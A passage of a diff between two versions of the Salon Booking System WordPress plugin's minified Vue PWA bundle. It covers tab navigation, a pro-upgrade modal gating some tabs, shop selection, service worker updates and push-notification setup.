o=localStorage.getItem(\"sln_selected_shop\");if(o)try{this.shop=JSON.parse(o),\"#shops\"!==this.hash&&this.hash||(this.hash=\"#upcoming-reservations\",window.location.hash=\"#upcoming-reservations\")}catch(e){console.error(\"Error parsing saved shop:\",e)}}},beforeUnmount(){window.removeEventListener(\"hashchange\",this.onHashChange)},data:function(){return{hash:\"#upcoming-reservations\",tabModelIndex:0,isSyncingTabs:!1,proUpgradeModalVisible:!1,tabsMountKey:0,skipResyncAfterModalClose:!1,shop:null,isHideTabsHeader:!1,isShopSelected:!1}},computed:{isProUser(){return!0===window.slnPWA?.is_pro}},watch:{shop(e){this.isShopSelected=!!e&&!!e.id},hash(e){const o=this.hashToTabIndex(e);this.tabModelIndex!==o&&(this.isSyncingTabs=!0,this.tabModelIndex=o,this.$nextTick(()=>{this.isSyncingTabs=!1}))},tabModelIndex(e){if(this.isSyncingTabs)return;if(!this.isProUser&&this.isRestrictedTabIndex(e))return this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();const o=this.tabIndexToHash(e);o!==this.hash&&this.click(o)},proUpgradeModalVisible(e){if(!e&&!this.isProUser){if(this.skipResyncAfterModalClose)return void(this.skipResyncAfterModalClose=!1);this.resyncTabModelToHash()}}},methods:{onActivateTab(e,o,s){this.isProUser||this.isRestrictedTabIndex(e)&&(s&&\"function\"===typeof s.preventDefault&&s.preventDefault(),this.proUpgradeModalVisible=!0)},resyncTabModelToHash(){this.isSyncingTabs=!0,this.tabModelIndex=this.hashToTabIndex(this.hash),this.$nextTick(()=>{this.isSyncingTabs=!1})},goToUpcomingReservations(){this.skipResyncAfterModalClose=!0;const e=\"#upcoming-reservations\",o=this.hashToTabIndex(e);this.hash=e,this.syncLocationToHash(e),this.tabModelIndex=o,this.tabsMountKey+=1,this.$nextTick(()=>{this.tabModelIndex=o,this.$nextTick(()=>{window.setTimeout(()=>{this.click(e)},50)})})},scrollUpcomingIntoViewIfNeeded(){try{const e=document.querySelector(\".current-time-line\");if(!e||null===document.querySelector(\".dp__active_date.dp__today\"))return void(e&&(e.style.display=\"none\"));e.style.display=\"block\",e.scrollIntoView({behavior:\"smooth\",block:\"center\"})}catch(e){}},hashToTabIndex(e){const o=this.isShopsEnabled,s=o?{\"#shops\":0,\"#upcoming-reservations\":1,\"#reservations-calendar\":2,\"#customers\":3,\"#user-profile\":4}:{\"#upcoming-reservations\":0,\"#reservations-calendar\":1,\"#customers\":2,\"#user-profile\":3};return Object.prototype.hasOwnProperty.call(s,e)?s[e]:o?1:0},tabIndexToHash(e){const o=this.isShopsEnabled,s=o?[\"#shops\",\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"]:[\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"];return null!=s[e]?s[e]:\"#upcoming-reservations\"},isRestrictedTabIndex(e){const o=this.isShopsEnabled,s=o?2:1,t=o?3:2;return e===s||e===t},resolveInitialHashFromUrl(){const e=this.getQueryParams();if(\"undefined\"!==typeof e.tab&&e.tab){const o=decodeURIComponent(String(e.tab)).replace(\u002F^#\u002F,\"\");return o.startsWith(\"#\")?o:\"#\"+o}return window.location.hash?window.location.hash:this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\"},isProOnlyHash(e){if(!e)return!1;const o=e.startsWith(\"#\")?e:\"#\"+e;return\"#reservations-calendar\"===o||\"#customers\"===o},syncLocationToHash(e){try{const o=new URL(window.location.href);o.searchParams.delete(\"tab\");const s=(e.startsWith(\"#\")?e:\"#\"+e).slice(1);o.hash=s,window.history.replaceState(null,\"\",o.toString())}catch(o){window.location.hash=e.startsWith(\"#\")?e:\"#\"+e}},onHashChange(){const e=window.location.hash||(this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\");if(!this.isProUser&&this.isProOnlyHash(e))return this.proUpgradeModalVisible=!0,this.hash=\"#upcoming-reservations\",void this.syncLocationToHash(\"#upcoming-reservations\");this.hash=e},navigateToTab(e,o){if(!this.isProUser&&this.isProOnlyHash(e))return o&&(o.preventDefault(),o.stopPropagation()),this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();this.click(e)},click(e){window.location.href=e;const o=document.querySelector(\".current-time-line\");o&&(null!==document.querySelector(\".dp__active_date.dp__today\")?(o.style.display=\"block\",o.scrollIntoView({behavior:\"smooth\",block:\"center\"})):o.style.display=\"none\")},applyShop(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$emit(\"applyShop\",e)},applyShopAndSwitch(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$refs[\"upcoming-reservations-tab-link\"].click(),this.$emit(\"applyShop\",e)},hideTabsHeader(e){this.isHideTabsHeader=e}},emits:[\"applyShop\"]};const H=(0,A.A)(U,[[\"render\",d],[\"__scopeId\",\"data-v-38f771fa\"]]);var M=H,O={name:\"App\",mounted(){this.loadBookingDragResizePref(),this.loadSettings(),this.displayBuildVersion()},computed:{isShopsEnabled(){return window.slnPWA.is_shops}},data:function(){return{settings:{},statusesList:{\"sln-b-pendingpayment\":{label:this.getLabel(\"pendingPaymentStatusLabel\"),color:\"#ffc107\"},\"sln-b-pending\":{label:this.getLabel(\"pendingStatusLabel\"),color:\"#ffc107\"},\"sln-b-paid\":{label:this.getLabel(\"paidStatusLabel\"),color:\"#28a745\"},\"sln-b-paylater\":{label:this.getLabel(\"payLaterStatusLabel\"),color:\"#17a2b8\"},\"sln-b-error\":{label:this.getLabel(\"errorStatusLabel\"),color:\"#dc3545\"},\"sln-b-confirmed\":{label:this.getLabel(\"confirmedStatusLabel\"),color:\"#28a745\"},\"sln-b-canceled\":{label:this.getLabel(\"canceledStatusLabel\"),color:\"#dc3545\"}},shop:null,disableBookingDragResize:!1}},watch:{shop(){this.loadSettings()}},methods:{loadBookingDragResizePref(){try{if(!window.slnPWA?.can_access_booking_resize_pref)return void(this.disableBookingDragResize=!1);this.disableBookingDragResize=\"1\"===localStorage.getItem(\"sln_pwa_disable_booking_drag_resize\")}catch(e){this.disableBookingDragResize=!1}},setDisableBookingDragResize(e){if(window.slnPWA?.can_access_booking_resize_pref){this.disableBookingDragResize=!!e;try{this.disableBookingDragResize?localStorage.setItem(\"sln_pwa_disable_booking_drag_resize\",\"1\"):localStorage.removeItem(\"sln_pwa_disable_booking_drag_resize\")}catch(o){}}},loadSettings(){this.axios.get(\"app\u002Fsettings\",{params:{shop:this.shop?this.shop.id:null}}).then(e=>{this.settings=e.data.settings,this.$root.settings={...this.$root.settings,...this.settings}})},applyShop(e){this.shop=e},async displayBuildVersion(){try{const e=await fetch(`\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fversion.json?t=${Date.now()}`),o=await e.json();console.log(\"\\n═══════════════════════════════════════\"),console.log(\"🎯 PWA BUILD VERSION\"),console.log(\"═══════════════════════════════════════\"),console.log(`📅 Build Time: ${o.buildTime}`),console.log(`🔑 Build Hash: ${o.buildHash}`),console.log(`⏱️  Timestamp:  ${o.timestamp}`),console.log(\"═══════════════════════════════════════\\n\"),window.PWA_BUILD_VERSION=o}catch(e){console.warn(\"⚠️  Could not load build version:\",e)}}},components:{TabsList:M},beforeCreate(){this.$OneSignal&&(this.$OneSignal.showSlidedownPrompt(),this.$OneSignal.on(\"subscriptionChange\",e=>{e&&this.$OneSignal.getUserId(e=>{e&&this.axios.put(\"users\",{onesignal_player_id:e})})}))}};const x=(0,A.A)(O,[[\"render\",i]]);var $=x,W=s(9501);setInterval(()=>{navigator.serviceWorker.getRegistration().then(e=>{e&&e.update()})},6e4),(0,W.k)(\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fservice-worker.js\",{ready(){console.log(\"✅ PWA ready - served from cache by service worker\")},registered(e){console.log(\"✅ Service worker registered\"),setInterval(()=>{e.update()},6e4)},cached(){console.log(\"✅ Content cached for offline use\")},updatefound(){console.log(\"🔄 New PWA version downloading...\")},updated(e){console.log(\"🎉 New PWA version available!\"),console.log(\"🔄 Auto-reloading to get fresh code...\"),e&&e.waiting&&e.waiting.postMessage({type:\"SKIP_WAITING\"}),setTimeout(()=>{console.log(\"♻️ Reloading page now...\"),window.location.reload()},1e3)},offline(){console.log(\"📵 Offline mode - no internet connection\")},error(e){console.error(\"❌ Service worker error:\",e)}}),navigator.serviceWorker.addEventListener(\"controllerchange\",()=>{console.log(\"🔄 Service worker updated - reloading...\"),window.location.reload()});var N=s(5222),V=(0,N.y$)({state:{},getters:{},mutations:{},actions:{},modules:{}}),R=s(9592),F=s(1893),B=s(3975),X=s(4394),j=s(7947),z=s(8565),K=s(376),Q=s(8215),q=s(1975),J=s(5329),G=s(7797),Y=s(1341);F.Yv.add(X.ITF,X.l6G,j.vlp,X.$UM,j.a$,X.XkK,X.Wzs,X.yLS,X.bnw,X.LFz,X.e68,X.gdJ,X.e9J,X.QLR,X.dzk,X.ivC,X.s67,X.B9e,X.KKb,X.DW4,X.KKr,X.TOj,X.q_k,z.EYA,X.H37,X.yvG,X.rwq,X.rk5,j.QRE,X.z$e,X.Bwz,X.lLb,X.PIP,X.CeG,X.Jyw,X.$GG,X._Xl,X.KMJ);var Z=(0,t.Ef)($).use(V).use(R.Ay).use(Y.A).component(\"font-awesome-icon\",B.gc).component(\"Datepicker\",K.A).component(\"vue-select\",J.A).component(\"Carousel\",G.FN).component(\"Slide\",G.q7).component(\"Pagination\",G.dK).component(\"Navigation\",G.Vx).mixin(Q.A),ee=window.slnPWA.onesignal_app_id;ee&&Z.use(q.A,{appId:ee,serviceWorkerParam:{scope:\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002F\"},serviceWorkerPath:\"wp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002FOneSignalSDKWorker.js\"}),Z.mount(\"#app\")},8215:function(e,o,s){s(8992),s(3949),s(1454);var t=s(8207),n=s(8699),i=s.n(n),a=s(5919),r=s.n(a),l=s(8562),d=s.n(l),c=s(6315),p=s.n(c),h=s(9288),u=s.n(h);s(3412),s(2092),s(1575),s(3931),s(410),s(8801),s(7319),s(4271),s(2924);i().extend(r()),i().extend(d()),i().extend(p()),i().extend(u()),o.A={computed:{axios(){return t.A.create({baseURL:window.slnPWA.api,headers:{\"Access-Token\":window.slnPWA.token}})},moment(){return i()},locale(){return window.slnPWA.locale},shouldHideEmail(){return this.$root.settings&&this.$root.settings.hide_customers_email},shouldHidePhone(){return this.$root.settings&&this.$root.settings.hide_customers_phone},canUseAssistantFilter(){return!!window.slnPWA?.can_use_assistant_filter},canAccessBookingResizePref(){return!!window.slnPWA?.can_access_booking_resize_pref},canUsePwaNoShowControl(){return!0===window.slnPWA?.is_pro}},methods:{dayjsLocale(e){if(!e)return\"en\";const o=String(e).split(\"_\")[0].split(\"-\")[0].toLowerCase();return o||\"en\"},dateFormat(e,o){var s=this.$root.settings.date_format?this.$root.settings.date_format.js_format:null;if(!s)return e;var t=s.replace(\"dd\",\"DD\").replace(\"M\",\"MMM\").replace(\"mm\",\"MM\").replace(\"yyyy\",\"YYYY\");return i()(e).format(o||t)},timeFormat(e){return i()(e,\"HH:mm\").format(this.getTimeFormat())},getTimeFormat(){var e=this.$root.settings.time_format?this.$root.settings.time_format.js_format:null;if(e){var o=e.indexOf(\"p\")>-1?e.replace(\"H\",\"hh\").replace(\"p\",\"a\").replace(\"ii\",\"mm\"):e.replace(\"hh\",\"HH\").replace(\"ii\",\"mm\");return o}},getQueryParams(){let e=window.location.search;e=e.replace(\"?\",\"\");let o=e.split(\"&\").map(e=>({key:e.split(\"=\")[0],value:e.split(\"=\")[1]})),s={};return o.forEach(e=>{s[e.key]=e.value}),s},getLabel(e){return window.slnPWA.labels[e]},getDisplayEmail(e){return this.shouldHideEmail?\"***@***\":e},getDisplayPhone(e){return this.shouldHidePhone?\"*******\":e}}}}},o={};function s(t){var n=o[t];if(void 0!==n)return n.exports;var i=o[t]={exports:{}};return e[t].call(i.exports,i,i.exports,s),i.exports}s.m=e,function(){var e=[];s.O=function(o,t,n,i){if(!t){var a=1\u002F0;for(c=0;c\u003Ce.length;c++){t=e[c][0],n=e[c][1],i=e[c][2];for(var r=!0,l=0;l\u003Ct.length;l++)(!1&i||a>=i)&&Object.keys(s.O).every(function(e){return s.O[e](t[l])})?t.splice(l--,1):(r=!1,i\u003Ca&&(a=i));if(r){e.splice(c--,1);var d=n();void 0!==d&&(o=d)}}return o}i=i||0;for(var c=e.length;c>0&&e[c-1][2]>i;c--)e[c]=e[c-1];e[c]=[t,n,i]}}(),function(){s.n=function(e){var o=e&&e.__esModule?function(){return e[\"default\"]}:function(){return e};return s.d(o,{a:o}),o}}(),function(){s.d=function(e,o){for(var t in o)s.o(o,t)&&!s.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:o[t]})}}(),function(){s.f={},s.e=function(e){return Promise.all(Object.keys(s.f).reduce(function(o,t){return s.f[t](e,o),o},[]))}}(),function(){s.u=function(e){return\"js\u002F\"+e+\".js\"}}(),function(){s.miniCssF=function(e){return\"css\u002F\"+e+\".css\"}}(),function(){s.g=function(){if(\"object\"===typeof globalThis)return globalThis;try{return this||new Function(\"return this\")()}catch(e){if(\"object\"===typeof window)return window}}()}(),function(){s.o=function(e,o){return Object.prototype.hasOwnProperty.call(e,o)}}(),function(){var e={},o=\"salon-booking-plugin-pwa:\";s.l=function(t,n,i,a){if(e[t])e[t].push(n);else{var r,l;if(void 0!==i)for(var d=document.getElementsByTagName(\"script\"),c=0;c\u003Cd.length;c++){var p=d[c];if(p.getAttribute(\"src\")==t||p.getAttribute(\"data-webpack\")==o+i){r=p;break}}r||(l=!0,r=document.createElement(\"script\"),r.charset=\"utf-8\",s.nc&&r.setAttribute(\"nonce\",s.nc),r.setAttribute(\"data-webpack\",o+i),r.src=t),e[t]=[n];var h=function(o,s){r.onerror=r.onload=null,clearTimeout(u);var n=e[t];if(delete e[t],r.parentNode&&r.parentNode.removeChild(r),n&&n.forEach(function(e){return e(s)}),o)return o(s)},u=setTimeout(h.bind(null,void 0,{type:\"timeout\",target:r}),12e4);r.onerror=h.bind(null,r.onerror),r.onload=h.bind(null,r.onload),l&&document.head.appendChild(r)}}}(),function(){s.r=function(e){\"undefined\"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(e,\"__esModule\",{value:!0})}}(),function(){s.p=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002F\"}(),function(){if(\"undefined\"!==typeof document){var e=function(e,o,t,n,i){var a=document.createElement(\"link\");a.rel=\"stylesheet\",a.type=\"text\u002Fcss\",s.nc&&(a.nonce=s.nc);var r=function(s){if(a.onerror=a.onload=null,\"load\"===s.type)n();else{var t=s&&s.type,r=s&&s.target&&s.target.href||o,l=new Error(\"Loading CSS chunk \"+e+\" failed.\\n(\"+t+\": \"+r+\")\");l.name=\"ChunkLoadError\",l.code=\"CSS_CHUNK_LOAD_FAILED\",l.type=t,l.request=r,a.parentNode&&a.parentNode.removeChild(a),i(l)}};return a.onerror=a.onload=r,a.href=o,t?t.parentNode.insertBefore(a,t.nextSibling):document.head.appendChild(a),a},o=function(e,o){for(var s=document.getElementsByTagName(\"link\"),t=0;t\u003Cs.length;t++){var n=s[t],i=n.getAttribute(\"data-href\")||n.getAttribute(\"href\");if(\"stylesheet\"===n.rel&&(i===e||i===o))return n}var a=document.getElementsByTagName(\"style\");for(t=0;t\u003Ca.length;t++){n=a[t],i=n.getAttribute(\"data-href\");if(i===e||i===o)return n}},t=function(t){return new Promise(function(n,i){var a=s.miniCssF(t),r=s.p+a;if(o(a,r))return n();e(t,r,null,n,i)})},n={524:0};s.f.miniCss=function(e,o){var s={92:1,114:1,128:1,389:1,728:1};n[e]?o.push(n[e]):0!==n[e]&&s[e]&&o.push(n[e]=t(e).then(function(){n[e]=0},function(o){throw delete n[e],o}))}}}(),function(){var e={524:0};s.f.j=function(o,t){var n=s.o(e,o)?e[o]:void 0;if(0!==n)if(n)t.push(n[2]);else{var i=new Promise(function(s,t){n=e[o]=[s,t]});t.push(n[2]=i);var a=s.p+s.u(o),r=new Error,l=function(t){if(s.o(e,o)&&(n=e[o],0!==n&&(e[o]=void 0),n)){var i=t&&(\"load\"===t.type?\"missing\":t.type),a=t&&t.target&&t.target.src;r.message=\"Loading chunk \"+o+\" failed.\\n(\"+i+\": \"+a+\")\",r.name=\"ChunkLoadError\",r.type=i,r.request=a,n[1](r)}};s.l(a,l,\"chunk-\"+o,o)}},s.O.j=function(o){return 0===e[o]};var o=function(o,t){var n,i,a=t[0],r=t[1],l=t[2],d=0;if(a.some(function(o){return 0!==e[o]})){for(n in r)s.o(r,n)&&(s.m[n]=r[n]);if(l)var c=l(s)}for(o&&o(t);d\u003Ca.length;d++)i=a[d],s.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return s.O(c)},t=self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[];t.forEach(o.bind(null,0)),t.push=o.bind(null,t.push.bind(t))}();var t=s.O(void 0,[453,504],function(){return s(6820)});t=s.O(t)})();\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.template.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.template.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.template.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.template.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-(function(){\"use strict\";var e={4119:function(e,o,s){s.d(o,{A:function(){return m}});var t=s(6436),n=s(1469),i=s(7959);const a=[\"aria-labelledby\"],r=[\"aria-label\"],l=[\"aria-label\"],d=[\"id\"],c={class:\"sln-pro-upgrade-modal__text\"},p=[\"href\"];function h(e,o,s,h,u,g){const b=(0,t.g2)(\"font-awesome-icon\");return(0,t.uX)(),(0,t.Wv)(t.Im,{to:\"body\"},[s.modelValue?((0,t.uX)(),(0,t.CE)(\"div\",{key:0,class:\"sln-pro-upgrade-modal\",role:\"dialog\",\"aria-modal\":\"true\",\"aria-labelledby\":u.titleId},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__backdrop\",\"aria-label\":g.dismissLabel,onMousedown:o[0]||(o[0]=(0,n.D$)(()=>{},[\"prevent\"])),onClick:o[1]||(o[1]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\"]))},null,40,r),(0,t.Lk)(\"div\",{class:\"sln-pro-upgrade-modal__card\",onClick:o[5]||(o[5]=(0,n.D$)(()=>{},[\"stop\"]))},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__x\",\"aria-label\":g.dismissLabel,onClick:o[2]||(o[2]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},[(0,t.bF)(b,{icon:\"fa-solid fa-xmark\"})],8,l),(0,t.Lk)(\"h2\",{id:u.titleId,class:\"sln-pro-upgrade-modal__title\"},(0,i.v_)(g.title),9,d),(0,t.Lk)(\"p\",c,(0,i.v_)(g.message),1),(0,t.Lk)(\"a\",{href:g.pricingUrl,class:\"btn btn-primary sln-pro-upgrade-modal__cta\",target:\"_blank\",rel:\"noopener noreferrer\",onClick:o[3]||(o[3]=(0,n.D$)((...e)=>g.closeDeferred&&g.closeDeferred(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.ctaLabel),9,p),(0,t.Lk)(\"button\",{type:\"button\",class:\"btn btn-link sln-pro-upgrade-modal__dismiss\",onClick:o[4]||(o[4]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.dismissLabel),1)])],8,a)):(0,t.Q3)(\"\",!0)])}var u={name:\"ProUpgradeModal\",props:{modelValue:{type:Boolean,default:!1},messageOverride:{type:String,default:\"\"},navigateToUpcomingOnDismiss:{type:Boolean,default:!0}},emits:[\"update:modelValue\",\"dismiss-to-upcoming\"],data(){return{titleId:\"sln-pro-upgrade-modal-title\"}},computed:{title(){return this.getLabel(\"proUpgradeModalTitle\")},message(){return this.messageOverride||this.getLabel(\"proUpgradeModalMessage\")},ctaLabel(){return this.getLabel(\"proUpgradeModalCtaLabel\")},dismissLabel(){return this.getLabel(\"proUpgradeModalCloseLabel\")},pricingUrl(){return window.slnPWA?.pro_pricing_url||\"https:\u002F\u002Fwww.salonbookingsystem.com\u002Fplugin-pricing\u002F\"}},methods:{closeDeferred(){setTimeout(()=>{this.$emit(\"update:modelValue\",!1)},0)},closeDeferredNavigateUpcoming(){setTimeout(()=>{this.navigateToUpcomingOnDismiss&&this.$emit(\"dismiss-to-upcoming\"),this.$emit(\"update:modelValue\",!1)},0)}}},g=s(5932);const b=(0,g.A)(u,[[\"render\",h],[\"__scopeId\",\"data-v-1eb28792\"]]);var m=b},6820:function(e,o,s){var t=s(1469),n=s(6436);function i(e,o,s,t,i,a){const r=(0,n.g2)(\"TabsList\");return(0,n.uX)(),(0,n.CE)(\"div\",null,[(0,n.bF)(r,{onApplyShop:a.applyShop,isShopsEnabled:a.isShopsEnabled},null,8,[\"onApplyShop\",\"isShopsEnabled\"])])}var a=s(7959);const r={key:2,class:\"pwa-pro-only-tab-placeholder\"},l={key:2,class:\"pwa-pro-only-tab-placeholder\"};function d(e,o,s,t,i,d){const c=(0,n.g2)(\"ProUpgradeModal\"),p=(0,n.g2)(\"font-awesome-icon\"),h=(0,n.g2)(\"ShopsTab\"),u=(0,n.g2)(\"b-tab\"),g=(0,n.g2)(\"ShopTitle\"),b=(0,n.g2)(\"UpcomingReservationsTab\"),m=(0,n.g2)(\"ReservationsCalendarTab\"),f=(0,n.g2)(\"CustomersAddressBookTab\"),v=(0,n.g2)(\"UserProfileTab\"),y=(0,n.g2)(\"b-tabs\");return(0,n.uX)(),(0,n.CE)(\"div\",{class:(0,a.C4)({\"hide-tabs-header\":e.isHideTabsHeader})},[(0,n.bF)(c,{modelValue:e.proUpgradeModalVisible,\"onUpdate:modelValue\":o[0]||(o[0]=o=>e.proUpgradeModalVisible=o),onDismissToUpcoming:d.goToUpcomingReservations},null,8,[\"modelValue\",\"onDismissToUpcoming\"]),((0,n.uX)(),(0,n.Wv)(y,{key:\"sln-pwa-tabs-\"+e.tabsMountKey,modelValue:e.tabModelIndex,\"onUpdate:modelValue\":o[6]||(o[6]=o=>e.tabModelIndex=o),pills:\"\",card:\"\",end:\"\",onActivateTab:d.onActivateTab},{default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(u,{key:0,\"title-item-class\":{hide:!s.isShopsEnabled}},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[1]||(o[1]=e=>d.click(\"#shops\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-store\",class:\"tab-icon\"}),o[7]||(o[7]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Shops\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(h,{isShopsEnabled:s.isShopsEnabled,onApplyShop:d.applyShopAndSwitch},null,8,[\"isShopsEnabled\",\"onApplyShop\"])]),_:1},8,[\"title-item-class\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",ref:\"upcoming-reservations-tab-link\",onClick:o[2]||(o[2]=e=>{d.click(\"#upcoming-reservations\"),d.scrollUpcomingIntoViewIfNeeded()})},[(0,n.bF)(p,{icon:\"fa-solid fa-list\",class:\"tab-icon\"}),o[8]||(o[8]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Upcoming\",-1))],512)]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(b,{shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[3]||(o[3]=e=>d.navigateToTab(\"#reservations-calendar\",e))},[(0,n.bF)(p,{icon:\"fa-solid fa-calendar-days\",class:\"tab-icon\"}),o[9]||(o[9]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Calendar\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(m,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",r))]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[4]||(o[4]=e=>d.navigateToTab(\"#customers\",e))},[(0,n.bF)(p,{icon:\"fa-regular fa-address-book\",class:\"tab-icon\"}),o[10]||(o[10]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Customers\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(f,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",l))]),_:1}),(0,n.bF)(u,{\"title-item-class\":\"nav-item-profile\"},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[5]||(o[5]=e=>d.click(\"#user-profile\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-user-alt\",class:\"tab-icon\"}),o[11]||(o[11]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Profile\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(v)]),_:1})]),_:1},8,[\"modelValue\",\"onActivateTab\"]))],2)}s(4603),s(7566),s(8721);const c={class:\"shop-title-wrapper\"},p={class:\"shop-selector\"},h={class:\"selector-label\"},u={class:\"selector-dropdown\"},g={key:0},b={key:1},m={key:0,class:\"dropdown-content\"},f={key:0,class:\"loading-spinner\"},v={key:1,class:\"no-shops\"},y={key:2,class:\"shops-list\"},k=[\"onClick\"],w={class:\"shop-info\"},_={class:\"shop-name\"},S={class:\"shop-address\"};function T(e,o,s,t,i,r){const l=(0,n.g2)(\"font-awesome-icon\"),d=(0,n.g2)(\"b-spinner\"),T=(0,n.gN)(\"click-outside\");return(0,n.uX)(),(0,n.CE)(\"div\",c,[(0,n.Lk)(\"div\",p,[(0,n.Lk)(\"div\",h,(0,a.v_)(this.getLabel(\"shopTitleLabel\"))+\":\",1),(0,n.bo)(((0,n.uX)(),(0,n.CE)(\"div\",u,[(0,n.Lk)(\"div\",{class:\"selected-value\",onClick:o[0]||(o[0]=(...e)=>r.toggleDropdown&&r.toggleDropdown(...e))},[r.selectedShopName?((0,n.uX)(),(0,n.CE)(\"span\",g,(0,a.v_)(r.selectedShopName),1)):((0,n.uX)(),(0,n.CE)(\"span\",b,(0,a.v_)(this.getLabel(\"selectShopPlaceholder\")),1)),(0,n.bF)(l,{icon:\"fa-solid 